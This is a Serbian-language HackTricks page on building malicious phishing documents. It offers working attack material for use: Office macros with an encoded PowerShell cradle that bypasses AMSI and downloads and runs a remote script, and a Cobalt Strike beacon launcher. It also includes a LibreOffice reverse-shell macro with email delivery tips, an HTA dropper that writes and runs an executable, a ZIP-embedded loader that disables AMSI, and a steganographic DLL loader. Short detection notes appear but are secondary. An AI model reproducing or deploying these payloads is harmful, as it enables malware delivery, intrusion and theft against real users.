Phishing fajlovi i dokumenti
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Office dokumenti
Microsoft Word vrši validaciju podataka fajla pre nego što otvori fajl. Ta validacija se obavlja kroz identifikaciju strukture podataka u skladu sa OfficeOpenXML standardom. Ako dođe do bilo koje greške tokom identifikacije strukture podataka, fajl koji se analizira neće biti otvoren.
Obično Word fajlovi koji sadrže makroe koriste .docm ekstenziju. Međutim, moguće je preimenovati fajl promenom ekstenzije i i dalje zadržati mogućnost izvršavanja makroa.
Na primer, RTF fajl po dizajnu ne podržava makroe, ali DOCM fajl preimenovan u RTF biće obrađen od strane Microsoft Word-a i biće sposoban za izvršavanje makroa.
Iste interne mehanizme i procedure primenjuju svi programi iz Microsoft Office Suite (Excel, PowerPoint itd.).
Možete koristiti sledeću komandu da proverite koje ekstenzije će biti izvršavane od strane nekih Office programa:
assoc | findstr /i "word excel powerp"
DOCX datoteke koje referenciraju udaljeni template (File –Options –Add-ins –Manage: Templates –Go) koji uključuje macros mogu takođe „execute“ macros as well.
Učitavanje eksterne slike
Idite na: Insert –> Quick Parts –> Field
Categories: Links and References, Filed names: includePicture, and Filename or URL: http://
.png)
Backdoor kroz macros
Moguće je koristiti macros za pokretanje arbitrary code iz dokumenta.
Autoload funkcije
Što su češće, veća je verovatnoća da će ih AV detektovati.
- AutoOpen()
- Document_Open()
Primeri macros koda
Sub AutoOpen()
CreateObject("WScript.Shell").Exec ("powershell.exe -nop -Windowstyle hidden -ep bypass -enc JABhACAAPQAgACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAJwA7ACQAYgAgAD0AIAAnAG0AcwAnADsAJAB1ACAAPQAgACcAVQB0AGkAbABzACcACgAkAGEAcwBzAGUAbQBiAGwAeQAgAD0AIABbAFIAZQBmAF0ALgBBAHMAcwBlAG0AYgBsAHkALgBHAGUAdABUAHkAcABlACgAKAAnAHsAMAB9AHsAMQB9AGkAewAyAH0AJwAgAC0AZgAgACQAYQAsACQAYgAsACQAdQApACkAOwAKACQAZgBpAGUAbABkACAAPQAgACQAYQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQARgBpAGUAbABkACgAKAAnAGEAewAwAH0AaQBJAG4AaQB0AEYAYQBpAGwAZQBkACcAIAAtAGYAIAAkAGIAKQAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkAOwAKACQAZgBpAGUAbABkAC4AUwBlAHQAVgBhAGwAdQBlACgAJABuAHUAbABsACwAJAB0AHIAdQBlACkAOwAKAEkARQBYACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAGQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADkAMgAuADEANgA4AC4AMQAwAC4AMQAxAC8AaQBwAHMALgBwAHMAMQAnACkACgA=")
End Sub
Sub AutoOpen()
Dim Shell As Object
Set Shell = CreateObject("wscript.shell")
Shell.Run "calc"
End Sub
Dim author As String
author = oWB.BuiltinDocumentProperties("Author")
With objWshell1.Exec("powershell.exe -nop -Windowsstyle hidden -Command-")
.StdIn.WriteLine author
.StdIn.WriteBlackLines 1
Dim proc As Object
Set proc = GetObject("winmgmts:\\.\root\cimv2:Win32_Process")
proc.Create "powershell <beacon line generated>
Ručno uklonite metapodatke
Idite na File > Info > Inspect Document > Inspect Document, što će otvoriti Document Inspector. Kliknite Inspect i zatim Remove All pored Document Properties and Personal Information.
Doc Extension
Kada završite, izaberite padajući meni Save as type, promenite format iz .docx u Word 97-2003 .doc.\
Uradite ovo zato što ne možete sačuvati makroe u .docx i postoji stigma oko makro-omogućenog .docm extension-a (npr. ikona sličice ima veliki ! i neke web/email gateway usluge ih potpuno blokiraju). Dakle, ova legacy .doc ekstenzija je najbolji kompromis.
Malicious Macros Generators
LibreOffice ODT auto-run macros (Basic)
LibreOffice Writer dokumenti mogu da ugrađuju Basic makroe i automatski ih izvrše kada se fajl otvori vezivanjem makra za događaj Open Document (Tools → Customize → Events → Open Document → Macro…). Jednostavan reverse shell makro izgleda ovako:
Sub Shell
Shell("cmd /c powershell -enc BASE64_PAYLOAD"""")
End Sub
Obratite pažnju na duplirane navodnike ("") unutar stringa – LibreOffice Basic ih koristi za eskapiranje literalnih navodnika, tako da payloads koji se završavaju sa ...==""") održavaju izbalansiranim i unutrašnju komandu i Shell argument.
Delivery tips:
- Sačuvajte kao
.odti povežite makro sa događajem dokumenta tako da se pokrene odmah po otvaranju. - Prilikom slanja emaila koristeći
swaks, koristite--attach @resume.odt(znak@je neophodan tako da se kao attachment šalju bajtovi fajla, a ne string imena fajla). Ovo je kritično prilikom zloupotrebe SMTP servera koji prihvataju proizvoljneRCPT TOprimaoce bez validacije.
HTA Files
HTA je Windows program koji kombinuje HTML i skript-jezike (kao što su VBScript i JScript). Generiše korisnički interfejs i izvršava se kao “fully trusted” aplikacija, bez ograničenja sigurnosnog modela pretraživača.
HTA se izvršava pomoću mshta.exe, koji je obično instaliran zajedno sa Internet Explorer, zbog čega je mshta zavisan od IE. Dakle, ako je on deinstaliran, HTA fajlovi neće moći da se izvrše.
<--! Basic HTA Execution -->
<html>
<head>
<title>Hello World</title>
</head>
<body>
<h2>Hello World</h2>
<p>This is an HTA...</p>
</body>
<script language="VBScript">
Function Pwn()
Set shell = CreateObject("wscript.Shell")
shell.run "calc"
End Function
Pwn
</script>
</html>
<--! Cobal Strike generated HTA without shellcode -->
<script language="VBScript">
Function var_func()
var_shellcode = "<shellcode>"
Dim var_obj
Set var_obj = CreateObject("Scripting.FileSystemObject")
Dim var_stream
Dim var_tempdir
Dim var_tempexe
Dim var_basedir
Set var_tempdir = var_obj.GetSpecialFolder(2)
var_basedir = var_tempdir & "\" & var_obj.GetTempName()
var_obj.CreateFolder(var_basedir)
var_tempexe = var_basedir & "\" & "evil.exe"
Set var_stream = var_obj.CreateTextFile(var_tempexe, true , false)
For i = 1 to Len(var_shellcode) Step 2
var_stream.Write Chr(CLng("&H" & Mid(var_shellcode,i,2)))
Next
var_stream.Close
Dim var_shell
Set var_shell = CreateObject("Wscript.Shell")
var_shell.run var_tempexe, 0, true
var_obj.DeleteFile(var_tempexe)
var_obj.DeleteFolder(var_basedir)
End Function
var_func
self.close
</script>
Forsiranje NTLM autentifikacije
Postoji nekoliko načina da se forsira NTLM autentifikacija (na daljinu), na primer, možete dodati nevidljive slike u imejlove ili HTML koje će korisnik otvoriti (čak i HTTP MitM?). Ili poslati žrtvi adresu fajlova koja će pokrenuti autentifikaciju samo otvaranjem foldera.
Pogledajte ove ideje i još više na sledećim stranicama:
Force NTLM Privileged Authentication
NTLM Relay
Ne zaboravite da osim krađe hasha ili autentifikacije, takođe možete i izvesti NTLM relay attacks:
LNK Loaders + ZIP-Embedded Payloads (fileless chain)
Veoma efektivne kampanje isporučuju ZIP koji sadrži dva legitimna mamca dokumenta (PDF/DOCX) i maliciozni .lnk. Trik je u tome što je stvarni PowerShell loader smešten u sirovim bajtovima ZIP-a posle jedinstvenog markera, a .lnk ga iščupa i pokreće potpuno u memoriji.
Tipičan tok koji implementira .lnk PowerShell one-liner:
- Pronađite originalni ZIP u uobičajenim putanjama: Desktop, Downloads, Documents, %TEMP%, %ProgramData% i parent trenutnog working directory.
- Pročitajte bajtove ZIP-a i pronađite hardkodirani marker (npr. xFIQCV). Sve što sledi posle markera je ugrađeni PowerShell payload.
- Kopirajte ZIP u %ProgramData%, raspakujte tamo, i otvorite mamac .docx kako bi delovalo legitimno.
- Zaobiđite AMSI za trenutni proces: [System.Management.Automation.AmsiUtils]::amsiInitFailed = $true
- Deobfuskujte narednu fazu (npr. uklonite sve karaktere #) i izvršite je u memoriji.
Primer PowerShell skeleta za iščupavanje i pokretanje ugrađene faze:
$marker = [Text.Encoding]::ASCII.GetBytes('xFIQCV')
$paths = @(
"$env:USERPROFILE\Desktop", "$env:USERPROFILE\Downloads", "$env:USERPROFILE\Documents",
"$env:TEMP", "$env:ProgramData", (Get-Location).Path, (Get-Item '..').FullName
)
$zip = Get-ChildItem -Path $paths -Filter *.zip -ErrorAction SilentlyContinue -Recurse | Sort-Object LastWriteTime -Descending | Select-Object -First 1
if(-not $zip){ return }
$bytes = [IO.File]::ReadAllBytes($zip.FullName)
$idx = [System.MemoryExtensions]::IndexOf($bytes, $marker)
if($idx -lt 0){ return }
$stage = $bytes[($idx + $marker.Length) .. ($bytes.Length-1)]
$code = [Text.Encoding]::UTF8.GetString($stage) -replace '#',''
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)
Invoke-Expression $code
Napomene
- Dostava često zloupotrebljava reputabilne PaaS poddomene (npr. *.herokuapp.com) i može filtrirati payloads — npr. isporučiti benign ZIP fajl u zavisnosti od IP/UA.
- Sledeća faza često dešifruje base64/XOR shellcode i izvršava ga preko Reflection.Emit + VirtualAlloc kako bi se minimizirali artefakti na disku.
Persistence korišćen u istom lancu
- COM TypeLib hijacking of the Microsoft Web Browser control tako da IE/Explorer ili bilo koja aplikacija koja ga ugrađuje automatski ponovo pokreće payload. Pogledajte detalje i gotove komande ovde:
Hunting/IOCs
- ZIP fajlovi koji sadrže ASCII marker string (npr. xFIQCV) dodat na podatke arhive.
- .lnk koji enumeriše roditeljske/korisničke foldere da pronađe ZIP i otvori lažni dokument.
- AMSI manipulacija preko [System.Management.Automation.AmsiUtils]::amsiInitFailed.
- Dugotrajne poslovne niti koje završavaju linkovima hostovanim pod pouzdanim PaaS domenima.
Steganography-delimited payloads u slikama (PowerShell stager)
Nedavne loader lance isporučuju obfuscated JavaScript/VBS koji dekodira i pokreće Base64 PowerShell stager. Taj stager preuzima sliku (često GIF) koja sadrži Base64-encoded .NET DLL sakriven kao plain text između jedinstvenih start/end markera. Skripta traži te delimitere (primeri viđeni u prirodi: «<<sudo_png>> … <<sudo_odt>>>»), izdvoji tekst između, Base64-dekodira ga u bajtove, učita assembly in-memory i pozove poznatu entry metodu sa C2 URL-om.
Workflow
- Stage 1: Archived JS/VBS dropper → dekodira ugrađeni Base64 → pokreće PowerShell stager sa -nop -w hidden -ep bypass.
- Stage 2: PowerShell stager → preuzima sliku, carve-uje marker-delimited Base64, učitava .NET DLL in-memory i poziva njegovu metodu (npr. VAI) prosleđujući C2 URL i opcije.
- Stage 3: Loader preuzima finalni payload i tipično ga inject-uje putem process hollowing u pouzdan binarni fajl (obično MSBuild.exe). Pogledajte više o process hollowing i trusted utility proxy execution ovde:
PowerShell primer za izdvajanje DLL-a iz slike i pozivanje .NET metode in-memory:
PowerShell stego payload extractor and loader
```powershell # Download the carrier image and extract a Base64 DLL between custom markers, then load and invoke it in-memory param( [string]$Url = 'https://example.com/payload.gif', [string]$StartM = '<Beleške
- Ovo je ATT&CK T1027.003 (steganography/marker-hiding). Markeri se razlikuju između kampanja.
- AMSI/ETW bypass i string deobfuscation se često primenjuju pre učitavanja assembly-ja.
- Otkrivanje: skenirajte preuzete slike radi poznatih delimitera; identifikujte PowerShell koji pristupa slikama i odmah dešifruje Base64 blob-ove.
See also stego tools and carving techniques:
Quick Triage Checklist First 10 Minutes
JS/VBS droppers → Base64 PowerShell staging
Ponavljajući inicijalni stejdž je mali, jako‑obfuskovan .js ili .vbs isporučen unutar arhive. Njegova jedina svrha je da dekodira ugrađeni Base64 string i pokrene PowerShell sa -nop -w hidden -ep bypass kako bi bootstrapovao sledeći stejdž preko HTTPS.
Osnovna logika (apstraktno):
- Pročitaj sadržaj sopstvenog fajla
- Pronađi Base64 blob između junk stringova
- Dekodiraj u ASCII PowerShell
- Izvrši pomoću
wscript.exe/cscript.exekoji pozivapowershell.exe
Indikatori za detekciju
- Arhivirani JS/VBS privici koji pokreću
powershell.exesa-enc/FromBase64Stringu komandnoj liniji. wscript.exekoji pokrećepowershell.exe -nop -w hiddeniz korisničkih temp putanja.
Windows fajlovi za krađu NTLM heševa
Pogledajte stranicu o mestima za krađu NTLM creds:
Reference
- HTB Job – LibreOffice macro → IIS webshell → GodPotato
- Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies
- Hijack the TypeLib – New COM persistence technique (CICADA8)
- Unit 42 – PhantomVAI Loader Delivers a Range of Infostealers
- MITRE ATT&CK – Steganography (T1027.003)
- MITRE ATT&CK – Process Hollowing (T1055.012)
- MITRE ATT&CK – Trusted Developer Utilities Proxy Execution: MSBuild (T1127.001)
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.


